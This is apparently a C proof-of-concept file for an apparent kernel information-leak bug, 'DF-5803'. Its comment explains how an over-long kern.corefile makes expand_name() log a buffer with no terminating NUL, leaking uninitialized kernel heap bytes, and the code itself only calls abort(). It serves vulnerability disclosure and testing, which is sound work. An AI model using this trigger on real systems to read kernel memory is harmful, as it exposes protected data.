/*
 * DF-5803 trigger -- crash with a core-dumping signal so the kernel runs
 * kern/kern_sig.c:expand_name() with a kern.corefile that makes the
 * expansion overflow MAXPATHLEN at the '%N' spec.
 *
 * The overflow branch does:
 *	log(LOG_ERR, "... Path `%s%s' is too long\n", pid, name, uid, temp, name);
 * with `temp` being a kmalloc(M_NOWAIT) buffer where only temp[0..n-1] was
 * written and NO terminating NUL exists (the NUL is only written on the
 * success path, kern_sig.c:2514).  %s therefore reads uninitialized kernel
 * heap bytes past the initialized prefix and copies them into the log.
 *
 * Unprivileged: the trigger itself is just abort().  The long kern.corefile
 * is an admin-set (root) precondition -- this PoC therefore demonstrates the
 * defect, and bounds the impact ceiling accordingly.
 */
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(void)
{
	/* make p_comm predictable and 6 bytes long */
	if (strlen("crashy") != 6) return 2;
	fprintf(stderr, "crashy pid=%d: aborting (core dump signal)\n", getpid());
	abort();
	return 0;
}